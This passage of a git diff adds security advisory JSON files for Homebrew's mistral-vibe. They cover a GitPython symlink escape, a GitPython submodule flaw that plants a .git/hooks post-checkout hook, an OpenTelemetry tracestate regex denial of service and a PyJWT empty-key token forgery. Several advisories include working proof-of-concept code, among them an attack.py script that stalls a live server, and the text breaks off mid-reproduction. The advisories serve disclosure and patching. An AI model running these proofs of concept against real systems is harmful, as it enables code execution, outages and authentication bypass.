`Submodule.abspath`'s all-component guard intact.\n\nThe final-component exception preserves current compatibility. The existing code first uses `isfile()` and `listdir()` to classify the link target, then uses `os.remove()` to unlink an empty-directory leaf symlink before moving the checkout. Tests confirm that an empty-directory leaf link is replaced while its target remains unchanged; non-empty-directory and file targets are rejected; a dangling leaf produces `OSError` without changing repository state. Because the pre-removal `isfile()`, `exists()`, and `listdir()` calls follow the leaf link, the existing behavior retains an existence/emptiness oracle for that external target; the proof demonstrates no write through the leaf link.\n\nThe component check closes the non-racing, attacker-committed symlink case reported here. It is not a claim of protection against a concurrent same-user process replacing a checked directory after validation; descriptor-relative traversal and rename would be needed if that separate race is in scope. Because `move()` is decorated with `@unbare_repo`, `working_tree_dir` should be present; the helper nevertheless changes an impossible or malformed `None` state from the previous `str(None)` path construction to an explicit `NotADirectoryError`.\n\n## Validation\n\nThe strict clean-clone proof was run with both relative and absolute committed symlink targets:\n\n| Revision | macOS ARM64 unpatched | Linux ARM64 unpatched | macOS patched | Linux patched |\n| --- | --- | --- | --- | --- |\n| 3.1.62 | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation |\n| `main` `b62e91b` | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation |\n\nBoth platforms were ARM64 on the same physical Mac; Linux ran in a local LinuxKit VM image. All runs used Python 3.14.7. The Linux runs used a local image by immutable SHA-256, with networking disabled, a read-only container root and source mount, and a temporary writable `/tmp`.\n\nPinned reproducer SHA-256: `513b6f32fc44cc74bee1ca8e81e8ed3f48ae89bfdc332dd6782886bfd1d6a79c`.\n\nThe documented shallow-clone command was also executed from a new temporary directory at 3.1.62. The reproducer resolved `git`, `gitdb`, and `smmap` from that checkout (`git/__init__.py`, `gitdb/gitdb/__init__.py`, and `smmap/smmap/__init__.py`) and reproduced the same external move. In that exact checkout, `git ls-tree HEAD gitdb smmap git/ext` reports ordinary mode-`040000` trees for root `gitdb` and `smmap`, no `.gitmodules` file exists, and `git submodule status --recursive` produces no entries. No recursive submodule checkout or preinstalled GitPython dependency was used for that bootstrap check. The evidence package includes both the raw local tree transcript and the matching official GitHub tree API entries.\n\nThe revised patch also passed 12 focused tests on each revision on each platform (48 test executions total). They cover:\n\n- relative and absolute ordinary moves from an external process working directory;\n- relative and absolute no-op ordering;\n- no-op compatibility when the stored path includes an existing symlink;\n- the unchanged `Submodule.abspath` leaf-link guard;\n- relative and absolute intermediate-link rejection before rename;\n- empty-directory, non-empty-directory, file, and dangling final-component link behavior.\n\nRuff 0.16.6 lint and format checks, Python compilation, patch application, and patched-file byte comparison passed for both revisions. GitPython's complete upstream test suite and mypy were not run against the patch; the test claim is limited to the focused matrix described above.\n\nAdditional saved controls on both revisions record rejection of `../` and absolute API destinations, preservation of existing files and non-empty directories, the final-component link behavior, and `RootModule.update()` rejecting the tested commit-to-commit symlinked path before its internal move. These controls are separate from the strict 16-run proof.\n\n## Impact limits and compatibility observations\n\n- An existing destination file and an existing non-empty destination directory are preserved and rejected.\n- A missing or empty leaf below an external symlink target can be populated.\n- `../` and an absolute API destination outside the worktree are already rejected; the bypass is filesystem resolution of a lexically in-tree path.\n- `RootModule.update()` rejects the tested commit-to-commit symlinked path before its internal `move()` call, so ordinary clone/update is not an automatic trigger.\n- The proof does not require or demonstrate a local race.\n- The directly demonstrated relative target is the practical repository-relative case. The absolute variant proves target-path scope using a temporary path known to the fixture; a remote attacker would instead need a predictable absolute directory on the victim.\n- The exact affected history before 3.1.62 has not been established.\n\n## AI assistance and credit\n\nThis report was prepared with AI assistance. The working proof was executed locally against both pinned revisions on macOS and Linux, and every reported state transition was checked against saved structured output. The proposed patch and focused tests were executed independently from the vulnerable proof.\n\nRequested credit: GitHub user `dpfkdlemtp`.", + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-gq48-pqfc-9p58" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2232" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/24b6f95d4b90ab1483fb601c736ac6e7c059cd61" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-mistral-vibe-CVE-2026-114145.json b/advisories/BREW-mistral-vibe-CVE-2026-114145.json new file mode 100644 index 00000000000..c5465df4eeb --- /dev/null +++ b/advisories/BREW-mistral-vibe-CVE-2026-114145.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-mistral-vibe-CVE-2026-114145", + "published": "2026-10-27T19:51:02Z", + "modified": "2026-10-27T19:51:02Z", + "upstream": [ + "GHSA-83vg-56qc-22m7", + "CVE-2026-114145" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "mistral-vibe", + "purl": "pkg:brew/mistral-vibe" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.1.0" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.1", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.62" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.62", + "key": "pkg:pypi/gitpython@3.1.62", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython validates a submodule's \".git\" path only after cloning into it (RCE)", + "details": "### Summary\n\n\n`create_submodule(name, path, url)` clones a submodule into the repo's own `.git`\ndirectory before it rejects the path. A `path` of \".git/hooks\" is accepted by the\npre-clone check, so the submodule is cloned straight into the live hooks directory,\nand a file named `post-checkout` in the submodule becomes an executable\n`.git/hooks/post-checkout`. On 3.2.0+ the later index check does raise `ValueError`,\nbut only after the clone already wrote to disk, and it does not remove the planted\nhook; on 3.1.x there is no such check and the call succeeds silently. Either way the\nhook runs on the next git operation (e.g. checkout), giving code execution.\n\n### Details\n\n\nThe checkout path is validated too late, after the clone has already mutated disk.\nThis breaks the \"validate before mutation\" invariant that commit 43a43cd8 (\"Validate\nsubmodule checkout and metadata paths before mutation\") set out to enforce.\n\nSubmodule.add() calls the permissive path check before cloning, and the strict check\nonly reaches the \".git\" alias at index time, after _clone_repo has written to disk:\n\ngit/objects/submodule/base.py (Submodule.add)\n 599: path = cls._to_relative_path(repo, path) # accepts \".git/hooks\"\n 673: mrepo = cls._clone_repo(repo, url, path, name, ...) # clones into /.git/hooks\n 714: index.add([sm], write=True) # strict check only triggers here\n\ngit/index/base.py (IndexFile._preprocess_add_items)\n 732: _validate_repo_path(entry.path) # rejects \".git\", too late\n\n_to_relative_path only blocks `..`/absolute/out-of-tree paths; `.git` aliases are\nrejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and\nruns at the index boundary. The ValueError it raises at line 732 does not roll back\nwhat _clone_repo already wrote.\n\nVersion-dependent behavior:\n- 3.2.0 .. tip bda18e08: _validate_repo_path raises ValueError at index.add, but the\n hook is already on disk and is not removed (incorrect order of validation vs. clone).\n- 3.1.x (e.g. 3.1.59): _validate_repo_path does not exist and _to_relative_path does\n not reject `.git`; create_submodule(path=\".git/hooks\", ...) returns with no error at\n all and the hook is planted silently.\n\n### Proof of concept\n\n\nSetup:\n evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload)\n victim/ : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO\n sample hooks (the state of a minimal/CI checkout, or `git init` with an empty\n template dir, or GIT_TEMPLATE_DIR/init.templateDir empty)\n\nimport git, os.path as osp\ntry:\n git.Repo(\"victim\").create_submodule(name=\"x\", path=\".git/hooks\", url=osp.abspath(\"evilsub\"))\nexcept ValueError:\n pass # 3.2.0+: \".git\" is rejected, but only AFTER the clone, so the plant already happened.\n # 3.1.x: no exception is raised at all; the call succeeds and still plants the hook.\n\n#### victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every\n#### affected version. Any later checkout runs it:\n#### git -C victim checkout -> the hook runs -> code execution\n\nVerified live:\n- tip bda18e08 (3.2.0 + 3 commits): create_submodule raised ValueError from\n git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and\n `git checkout` executed it.\n- 3.1.59: create_submodule returned with no error; .git/hooks/post-checkout was planted\n and executed by `git checkout`.\n\n### Impact\n\nArbitrary code execution. A library/app that creates a submodule from an\nattacker-influenced `path` ends up with an attacker-controlled executable in\n`.git/hooks`, which git runs on ordinary later operations. This affects any service\nthat derives a submodule checkout path from untrusted data, e.g. one that ingests a\nsubmodule spec (name/path/url) from a user-supplied manifest or API request and feeds\n`path` into create_submodule. On 3.2.0+ the library's own validation is the thing that\nfails: it correctly rejects the `.git` path, but only after the submodule has already\nbeen cloned into place, so an app that traps the ValueError reasonably believes the\nunsafe path was blocked.\n\nPreconditions (hence AC:H): (1) the app passes an attacker-influenced submodule `path`;\n(2) the target hook name is free in `.git/hooks`, true for minimal/CI/container\ncheckouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default\nsample hooks present, `git clone` refuses the non-empty destination and no plant occurs.\n\nAffected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08\n(3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-83vg-56qc-22m7" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114145" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2264" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/97eadb888d2f99567e3113f4e455be4ca128f697" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.1" + } + ] +} diff --git a/advisories/BREW-mistral-vibe-CVE-2026-114603.json b/advisories/BREW-mistral-vibe-CVE-2026-114603.json new file mode 100644 index 00000000000..e0efaba54f0 --- /dev/null +++ b/advisories/BREW-mistral-vibe-CVE-2026-114603.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-mistral-vibe-CVE-2026-114603", + "published": "2026-10-27T19:51:02Z", + "modified": "2026-10-27T19:51:02Z", + "upstream": [ + "GHSA-xcq7-p3pf-p88h", + "CVE-2026-114603" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "mistral-vibe", + "purl": "pkg:brew/mistral-vibe" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.3.0" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "1.45.1", + "resource": "opentelemetry-api", + "resource_purl": "pkg:pypi/opentelemetry-api@1.39.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "opentelemetry-api", + "subject_version": "1.39.1", + "key": "pkg:pypi/opentelemetry-api@1.39.1", + "resource": "opentelemetry-api" + } + ] + }, + "summary": "OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api", + "details": "## Summary\n`TraceState.from_header` splits the inbound W3C `tracestate` header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N²) CPU. A single unauthenticated request with a ~100 KB `tracestate` keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time.\n\n## Affected component / version\n- Package: `opentelemetry-api` (pip) — `opentelemetry/trace/span.py` (`TraceState.from_header`), reached from `opentelemetry/trace/propagation/tracecontext.py` (`TraceContextTextMapPropagator.extract`).\n- Confirmed in `main` (5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between.\n- Reachable with the default propagators (`OTEL_PROPAGATORS` defaults to `tracecontext,baggage`) from any server instrumentation that calls `propagate.extract()`, for example `opentelemetry-instrumentation-asgi`.\n\n## Details\n\n1. The header reaches the parser without any length check:\n\n```python\n# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57\ntracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # <-- attacker-controlled request header(s), any size\nif tracestate_headers is None:\n tracestate = None\nelse:\n tracestate = TraceState.from_header(tracestate_headers) # <-- no length check before parsing (line 61)\n```\n\n2. The split pattern and the parser:\n```python\n# opentelemetry-api/src/opentelemetry/trace/span.py:45\n_TRACECONTEXT_MAXIMUM_TRACESTATE_KEYS = 32 # <-- only enforced later, in TraceState.__init__, after the split\n_delimiter_pattern = re.compile(r\"[ \\t]*,[ \\t]*\") # <-- (line 46) starts with an unbounded [ \\t]*\n\n# span.py:382\n@classmethod\ndef from_header(cls, header_list: list[str]) -> TraceState:\n pairs = {} # type: dict[str, str]\n for header in header_list:\n members: list[str] = re.split(_delimiter_pattern, header) # <-- (line 400) VULNERABLE: O(N^2) on \"a=b\" + \" \" * N + \"x\"\n for member in members:\n if not member:\n continue\n match = _member_pattern.fullmatch(member)\n if not match:\n _logger.warning( # <-- also logs the entire malformed member (up to the whole header)\n \"Member doesn't match the w3c identifiers format %s\",\n member,\n )\n return cls()\n ...\n```\n\n`re.split` tries the pattern at every offset. At each offset inside a whitespace run, `[ \\t]*` consumes the rest of the run, finds no `,`, backtracks and fails, then the engine moves one character forward and repeats. N characters × up to N steps each = O(N²). The 32-member limit never gets a chance to run because `split` has to finish first.\n\n3. The sibling propagator already has the missing guard:\n```python\n# baggage/propagation/__init__.py:68\n_MAX_HEADER_LENGTH = 8192\n...\nif len(header.encode()) > self._MAX_HEADER_LENGTH: # <-- (line 93) rejected before any regex runs; tracestate has no equivalent\n _logger.warning(...)\n return context\n```\n\nA 16 KiB header costs ≈ 0.25 s and an 8 KiB header ≈ 0.07 s.\nMeasured cost of `extract()` on one core (valid `traceparent`, `tracestate: \"a=b\" + N spaces + \"x\"`): the time quadruples each time N doubles (see the proof of concept). Roughly 0.06 s at 10,000 characters, 1 s at 40,000, 4 s at 80,000, 9 s at 100,000 (tabs are about 1.6× slower). \n\nWhether a server lets such a header through (header-size limits, tested): gunicorn rejects ≥ 8190 bytes (response code 431); `uvicorn --http h11` rejects above 16 KiB (400); waitress accepts up to 256 KiB (200 KB accepted, 300 KB rejected); `uvicorn --http httptools` — the default parser with `uvicorn[standard]` — accepted 300 KB, 1 MB, 5 MB and 20 MB `tracestate` headers.\n\n## Proof of concept\n\n### A. Show the quadratic cost (no server needed)\n\n1. Install the API: `pip install opentelemetry-api` (any version from 1.0 up to the current main is affected).\n2. Save as `poc_tracestate.py`:\n```python\nimport logging\nimport time\n\nfrom opentelemetry.trace.propagation.tracecontext import TraceContextTextMapPropagator\n\n# The library logs the whole malformed member at WARNING; silence it so the timings stay readable.\nlogging.disable(logging.CRITICAL)\n\nTRACEPARENT = \"00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01\"\npropagator = TraceContextTextMapPropagator()\n\nprevious = None\nfor n in (10_000, 20_000, 40_000, 80_000):\n # N spaces after a valid member, no comma anywhere in the header\n carrier = {\"traceparent\": TRACEPARENT, \"tracestate\": \"a=b\" + \" \" * n + \"x\"}\n start = time.perf_counter()\n propagator.extract(carrier)\n elapsed = time.perf_counter() - start\n growth = f\"x{elapsed / previous:.1f}\" if previous else \"-\"\n print(f\"{n:>7} characters {elapsed:6.2f} s growth when size doubles: {growth}\")\n previous = elapsed\n```\n3. Run `python poc_tracestate.py`.\n4. **What to observe:** the time grows by about **×4 every time the input size doubles** (a linear parser would show ×2). Absolute numbers depend on the CPU; the growth factor does not. Our run:\n```\n 10000 characters 0.06 s growth when size doubles: -\n 20000 characters 0.26 s growth when size doubles: x4.0\n 40000 characters 1.04 s growth when size doubles: x4.0\n 80000 characters 4.13 s growth when size doubles: x4.0\n```\nReplace `\" \"` with `\"\\t\"` to see ≈1.6× longer.\n\n### B. Show that one request stalls a real server\nThis uses `OpenTelemetryMiddleware` from `opentelemetry-instrumentation-asgi` around a trivial ASGI app and the default `uvicorn[standard]` parser (httptools).\n\n1. Install: `pip install opentelemetry-api opentelemetry-instrumentation-asgi \"uvicorn[standard]\"`.\n2. Save as `app.py`:\n```python\nfrom opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware\n\n\nasync def app(scope, receive, send):\n await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": [(b\"content-type\", b\"text/plain\")]})\n await send({\"type\": \"http.response.body\", \"body\": b\"ok\"})\n\n\napp = OpenTelemetryMiddleware(app)\n```\n3. Start the server in one terminal: `uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools`\n4. Save as `attack.py`:\n```python\n\"\"\"Send one oversized tracestate request and, while it is being handled,\nmeasure how long an unrelated request to the same server has to wait.\"\"\"\nimport socket\nimport sys\nimport threading\nimport time\n\nHOST, PORT = \"127.0.0.1\", 8000\nN = int(sys.argv[1]) if len(sys.argv) > 1 else 100_000\nTRACEPARENT = \"00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01\"\n\n\ndef get(path, extra=\"\"):\n s = socket.create_connection((HOST, PORT), timeout=120)\n s.sendall(f\"GET {path} HTTP/1.1\\r\\nHost: x\\r\\nConnection: close\\r\\n{extra}\\r\\n\".encode())\n start, data = time.perf_counter(), b\"\"\n while chunk := s.recv(65536):\n data += chunk\n return time.perf_counter() - start, data.split(b\"\\r\\n\")[0].decode()\n\n\nresult = {}\nextra = f\"traceparent: {TRACEPARENT}\\r\\ntracestate: a=b{' ' * N}x\\r\\n\"\nattacker = threading.Thread(target=lambda: result.update(a=get(\"/attack\", extra)))\nprint(\"idle /ping: %.3f s %s\" % get(\"/ping\"))\nattacker.start()\ntime.sleep(0.5) # let the attack request reach the server first\nprint(\"/ping during the attack: %.3f s %s\" % get(\"/ping\"))\nattacker.join()\nprint(\"attack request itself: %.3f s %s\" % result[\"a\"])\n```\n5. In a second terminal run `python attack.py 100000`.\n6. **What to observe:** the idle `/ping` answers in milliseconds, but a `/ping` sent half a second *after* the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run:\n```\nidle /ping: 0.000 s HTTP/1.1 200 OK\n/ping during the attack: 5.909 s HTTP/1.1 200 OK <-- unrelated request delayed ~6 s (event loop blocked)\nattack request itself: 6.408 s HTTP/1.1 200 OK\n```\n7. Start the server with `--http h11` instead and run the same command: the attack request is rejected immediately (`400 Bad Request`, h11 header cap) and `/ping` is not delayed. Our measurements for `--http httptools`: 30,000 spaces → 0.59 s; 100,000 spaces → 6.57 s with the concurrent `/ping` delayed 6.07 s; 100,000 tabs → 12.39 s with the concurrent `/ping` delayed 11.89 s.\n\n## Severity\n**Likelihood: Low.** Any unauthenticated client can trigger it with one request on the default propagators, but only on servers that accept headers larger than roughly 16–30 KB.\n\n**Impact: Medium.** One request of about 100 KB costs 6–12 s of server CPU and, under an asyncio server, stalls every other connection for that time; repeating it keeps the service unavailable.\n\n**Severity: Medium.**\n\n## Suggested remediation\nReplace the regex split with a plain `split` and strip; this removes the quadratic behaviour and is equivalent on valid input:\n```diff\n--- a/opentelemetry-api/src/opentelemetry/trace/span.py\n+++ b/opentelemetry-api/src/opentelemetry/trace/span.py\n@@ def from_header(cls, header_list: list[str]) -> TraceState:\n for header in header_list:\n- members: list[str] = re.split(_delimiter_pattern, header)\n+ members: list[str] = [m.strip(\" \\t\") for m in header.split(\",\")]\n```\n`_delimiter_pattern` (line 46) is then unused and can be removed. We also suggest rejecting a header longer than the W3C limit (512 characters for the list) before parsing, the way the baggage propagator does with `_MAX_HEADER_LENGTH`. On valid input the two forms return identical members (empty members preserved); the only behaviour change is that a header with leading whitespace is now accepted instead of producing an empty `TraceState`, which is more spec-compliant. Cost at N = 100,000 drops from ~9 s to ~5e-5 s.\n\n## Credit\n\nDiscovered and reported by SecDim Security Research\nsecdim.com | @secdim | security@secdim.com\n\n---\n\n**FROM MAINTAINERS**\n\n## Summary\n\n`TraceState.from_header()` in `opentelemetry-api` used a regular-expression-based operation whose processing time could grow disproportionately when parsing specially crafted inbound `tracestate` headers.\n\nBecause W3C Trace Context is enabled by default in OpenTelemetry Python, services accepting untrusted propagation headers could spend excessive CPU time processing a single request.\n\n## Impact\n\nServices accepting untrusted inbound propagation headers may experience increased per-request CPU usage when processing malformed `tracestate` values. In synchronous servers, this may keep a worker occupied. In asynchronous servers, CPU-intensive parsing may delay other requests handled by the same event loop.\n\nThe practical impact depends on the HTTP server, HTTP parser, and any upstream request-header limits. Common servers and proxies may reject oversized headers before they reach the application, while custom carriers or deployments with increased header limits may accept substantially larger values.\n\nUnlike optional propagation formats, W3C Trace Context is part of the default OpenTelemetry Python propagation configuration.\n\nThe impact is limited to availability. This issue does not expose or modify telemetry data and does not allow code execution.\n\n## Patches\n\nVersions of `opentelemetry-api` up to and including `1.45.0` are affected.\n\nUpgrade `opentelemetry-api` to version `1.45.1` or later.\n\nVersion `1.45.1` replaces the affected parsing operation with linear-time processing and discards combined `tracestate` headers longer than 8,192 characters.\n\n## Workarounds\n\nEnsure HTTP header size limits are configured at the server or gateway level. Most Python HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/open-telemetry/opentelemetry-python/security/advisories/GHSA-xcq7-p3pf-p88h" + }, + { + "type": "WEB", + "url": "https://github.com/open-telemetry/opentelemetry-python/pull/5749" + }, + { + "type": "WEB", + "url": "https://github.com/open-telemetry/opentelemetry-python/commit/d5224bf4ffdf2aee1b592ad238dcc32ca957f26b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/open-telemetry/opentelemetry-python" + }, + { + "type": "WEB", + "url": "https://github.com/open-telemetry/opentelemetry-python/blob/main/CHANGELOG.md#version-1451066b1-2026-10-06" + }, + { + "type": "WEB", + "url": "https://github.com/open-telemetry/opentelemetry-python/releases/tag/v1.45.1" + } + ] +} diff --git a/advisories/BREW-mistral-vibe-GHSA-pxh4-856f-4h89.json b/advisories/BREW-mistral-vibe-GHSA-pxh4-856f-4h89.json new file mode 100644 index 00000000000..74a7eb52c6d --- /dev/null +++ b/advisories/BREW-mistral-vibe-GHSA-pxh4-856f-4h89.json @@ -0,0 +1,79 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-mistral-vibe-GHSA-pxh4-856f-4h89", + "published": "2026-10-27T19:51:02Z", + "modified": "2026-10-27T19:51:02Z", + "upstream": [ + "GHSA-pxh4-856f-4h89" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "mistral-vibe", + "purl": "pkg:brew/mistral-vibe" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.1.1" + }, + { + "fixed": "2.26.0" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "2.14.0", + "resource": "pyjwt", + "resource_purl": "pkg:pypi/pyjwt@2.15.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "pyjwt", + "subject_version": "2.15.1", + "key": "pkg:pypi/pyjwt@2.15.1", + "resource": "pyjwt" + } + ] + }, + "summary": "PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery", + "details": "### Summary\n\n`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is\nthe empty string and returns a zero-length key without raising. When a token is\nthen verified with that key object (a `PyJWK`, or a `PyJWK` resolved by\n`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes\n`HMAC(key=b\"\", signing_input)` and accepts any token an attacker forged with the\nsame empty key. The attacker needs no secret knowledge: they reproduce the digest\nlocally with an empty key and set the token's `kid` to the empty-`k` JWK.\n\nThe empty-key rejection that `HMACAlgorithm.prepare_key` performs for\nstring/bytes secrets (added in 2.13.0) was never propagated to the sibling\n`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under\ndefault decode options this path only emits an `InsecureKeyLengthWarning`, not an\nerror, so verification still succeeds. This is the same \"empty/nil HMAC key is\naccepted by verify\" defect the JWT ecosystem is currently closing library-side:\nfast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a\nlibrary-side reject-empty-HMAC-key precondition.\n\n### Affected versions\n\n`PyJWT` (PyPI package `pyjwt`) `<= 2.13.0`, current `master` at commit\n`7144e4534c34810f4525dc4578a32addd8212cff`. The string/bytes secret path is\nalready guarded in 2.13.0; the JWK/JWKS path is not.\n\n### Privilege required\n\nUnauthenticated. Any party who can reach a JWT-verifying endpoint of an\napplication that verifies via a `PyJWK` / `PyJWKSet` / `PyJWKClient` whose oct\nkey has an empty `k` can forge tokens with arbitrary claims.\n\nPreconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct\nentry carries an empty `k`. This occurs when the signing secret is sourced from\nan unset environment variable / unset config row / key-finder fallback that\nbase64url-encodes `b\"\"` into the published JWKS, or when the application trusts a\nJWKS containing such an entry. The equivalent unset-secret case for the\nstring-secret API (`jwt.decode(token, key=\"\")`) is already rejected in 2.13.0;\nthe JWK route is the remaining reachable surface for the same misconfiguration.\n\n### Vulnerable code\n\n`jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (line 380):\n\n```python\n@staticmethod\ndef from_jwk(jwk: str | JWKDict) -> bytes:\n try:\n if isinstance(jwk, str):\n obj: JWKDict = json.loads(jwk)\n elif isinstance(jwk, dict):\n obj = jwk\n else:\n raise ValueError\n except ValueError:\n raise InvalidKeyError(\"Key is not valid JSON\") from None\n\n if obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\n return base64url_decode(obj[\"k\"]) # <-- empty k -> b\"\", no rejection\n```\n\nContrast the sibling `prepare_key`, which DID get the guard (lines 325-329):\n\n```python\ndef prepare_key(self, key: str | bytes) -> bytes:\n key_bytes = force_bytes(key)\n\n if len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\n```\n\nIn `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key\nmaterial directly, bypassing `prepare_key`, and the length warning is non-fatal\nby default:\n\n```python\n if isinstance(key, PyJWK):\n if alg != key.algorithm_name:\n raise InvalidAlgorithmError(\n f\"Token algorithm {alg!r} does not match the key's \"\n f\"algorithm {key.algorithm_name!r}\"\n )\n alg_obj = key.Algorithm\n prepared_key = key.key # from_jwk output (b\"\"), prepare_key not run\n else:\n try:\n alg_obj = self.get_algorithm_by_name(alg)\n except NotImplementedError as e:\n raise InvalidAlgorithmError(\"Algorithm not supported\") from e\n prepared_key = alg_obj.prepare_key(key)\n\n key_length_msg = alg_obj.check_key_length(prepared_key)\n if key_length_msg:\n if effective_options.get(\"enforce_minimum_key_length\", False):\n raise InvalidKeyError(key_length_msg)\n else:\n warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only\n\n if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b\"\" succeeds\n raise InvalidSignatureError(\"Signature verification failed\")\n```\n\n`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a\n`{\"kty\":\"oct\",\"k\":\"\"}` JWK yields `PyJWK.key == b\"\"`. `PyJWKSet` and\n`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the\nJWKS-over-HTTP resolution route is affected identically.\n\nThe 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM\nhardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix\n(GHSA-jq35-7prp-9v3f), and the test suite has\n`test_hmac_prepare_key_rejects_empty_key` plus\n`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty\nJSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the\nuntested sibling path this report closes.\n\n### How the attacker input reaches the sink\n\nAn unauthenticated HTTP client controls the bearer token entirely: its `kid`\nselects the empty-`k` oct JWK, and its signature is computed locally with the\nempty key. The token flows request header -> `PyJWKClient.get_signing_key_from_jwt`\n(kid resolution against the trusted JWKS) -> `jwt.decode` with the resolved\n`PyJWK` -> `_verify_signature` -> `HMACAlgorithm.verify(signing_input, b\"\", sig)`.\nNo secret,\ncredential, or prior session is required; the only server-side precondition is a\nJWKS oct entry with an empty `k`, which the \"unset signing secret\" configuration\nproduces. This is the identical trust boundary the string-secret path already\nguards.\n\n### Proof of concept\n\n### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)\n\nTwo services model a standard OIDC-style deployment: an auth service publishing a\nJWKS, and a protected resource server validating bearer tokens against that JWKS\nwith PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret\nis sourced from an unset env var (`SIGNING_SECRET` unset -> `\"\"`), so the\npublished oct JWK carries `k == \"\"`.\n\n`idp.py` (auth service):\n\n```python\nimport os, base64\nfrom flask import Flask, jsonify\napp = Flask(__name__)\nSIGNING_SECRET = os.environ.get(\"SIGNING_SECRET\", \"\") # UNSET at runtime -> \"\"\ndef 